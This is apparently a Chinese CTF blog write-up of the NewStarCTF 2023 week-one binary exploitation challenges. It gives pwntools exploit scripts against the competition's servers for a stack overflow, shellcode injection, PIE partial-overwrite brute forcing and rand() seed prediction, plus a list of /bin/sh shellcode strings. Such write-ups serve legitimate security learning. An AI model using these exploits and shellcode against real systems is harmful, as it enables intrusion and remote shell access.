LOADING

加载过慢请开启缓存 浏览器默认开启

NewStarCTF 2023 [WEEK 1] PWN

2023/10/1 CTF PWN NewStarCTF

NewStarCTF 2023 [WEEK 1] PWN

简介:

祝大家国庆节快乐,国庆就别再打 CTF 了,别卷了师傅们,玩玩吧!!!

第一周的题目相对比较容易,pwn 没有 ak 有点可惜,伪随机的部分弄得还不是很清楚,需要加把油


ret2text

一看题目就知道是经典栈溢出,老规矩查看保护机制,打开了栈不可执行 NX

IDA 查看反汇编,栈溢出很明显,并且还自带后门函数

最后再查看一下需要溢出多少字节的垃圾数据(一般情况下需要溢出的垃圾数据可以在 IDA 里面找到),gdb 调试一下,0x80 - 0x60 = 0x20

直接攻击就行,exp 如下:

from pwn import *
context(os='linux', arch='amd64', log_level='debug')

#p = process('./pwn')
p = remote('node4.buuoj.cn',26188)
elf = ELF('./111')

backdoor = 0x4011FB
payload = b'A'*(0x20 + 8) + p64(backdoor)

p.sendline(payload)
p.interactive()

ezshellcode

也是比较经典的 shellcode,开启 NX,往栈上写 shellcode 即可(但是需要注意的点就是 shellcode 的长度,根据题目来确定)

IDA 反汇编也比较明显,就是往 buf 里面写入 shellcode

exp 如下:

from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')

#p = process('./pwn')
p = remote('node4.buuoj.cn',29928)
elf = ELF('./111')

payload = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05'

p.sendline(payload)
p.interactive()

相关的 shellcode 如下,可以了解下!!!

# 32位 短字节shellcode --> 21字节
\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80

# 32位 纯ascii字符shellcode
PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE22I2NFOSCRHEP0WQCK9KQ8MK0AA

# 32位 scanf可读取的shellcode
\xeb\x1b\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x29\xc0\xaa\x89\xf9\x89\xf0\xab\x89\xfa\x29\xc0\xab\xb0\x08\x04\x03\xcd\x80\xe8\xe0\xff\xff\xff/bin/sh

# 64位 scanf可读取的shellcode 22字节
\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05

# 64位 较短的shellcode 23字节
\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05

# 64位 纯ascii字符shellcode
Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t

newstar shop

这道题就是一道整形溢出,需要认真的代码审计,当时做的的时候有点傻逼,脑子没有转过来一直在想 dont_try 一次只能一次扣 50,这样不可能使 money 达不到负数,忘记可以买东西了我真啥

先看下 shop(),很明显自己的目的就是使直接赚够钱可以买到 shell,从而达到 cat flag 的目的

money 属于无符号整型,这里就要想办法溢出才能有足够的钱买 shell,如果单靠自己打工赚钱的话根本不可能,题目还设置了自己一天的工作时间,所以只有自己想办法溢出才是唯一的出路

题目还给参数设置了一些初始值,现在的任务就是使 money 变成负数就可以达到整型溢出

思路如下: (直接 nc 连接,然后就是先买两次商品,最后 dont_try 扣一次钱,就能达到溢出的目的,再去买 shell,就可以直接拿下)


p1eee

查看保护机制,开启了 PIE 地址随机化,每次运行的基址都不一样,但是 PIE 不会随机化地址的低 12 位(也就是说后三位地址是固定的),所以可以采用 partial write,爆破倒数第四位,十六分之一的成功几率

IDA 反编译,存在栈溢出,并且有后门函数(因为开启了 PIE,地址的后三位不会变 26c,所以只需爆破倒数第四位)。由于小端序的原因,所以就是 \x6c\x11,后面 \x11 是随机的,可以改成别的,如下都行:

list = ["\x01","\x11","\x21","\x31","\x41","\x51","\x61","\x71",
"\x81","\x91","\xa1", "\xb1","\xc1","\xd1","\xe1","\xf1"]

但是需要转换(都是套路)

接下来就是写脚本爆破了(脚本格式通用),exp 如下:

from pwn import *
context(os='linux', arch='amd64', log_level='debug')

while(1):
try:
#p = process('./111')
p = remote('node4.buuoj.cn',28968)
elf = ELF('./111')

payload = b'A'*(0x20 + 8) + p16(0x126c)

p.sendline(payload)
p.interactive()
except:
p.close()

Random

from pwn import *
from ctypes import *
context(os='linux', arch='amd64', log_level='debug')

#p = process('./111')
p = remote('node4.buuoj.cn',26977)
elf = ELF('./111')
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

seed = libc.time(0)
libc.srand(seed)
num1 = libc.rand()

p.sendline(str(num1))
p.interactive()

总结:

伪随机部分还相对薄弱,需要加把油,绕过 PIE 掌握的差不多了,加油,奥里给!!!

⬅ 上一篇
PWN PWN PWN !!! 技巧 (1)
2023-10-06  |  | PWN
下一篇 ➡
[HNCTF 2022 WEEK4] ezcanary 复现
2023-09-22  |  | PWN, HNCTF
0%
Rope Head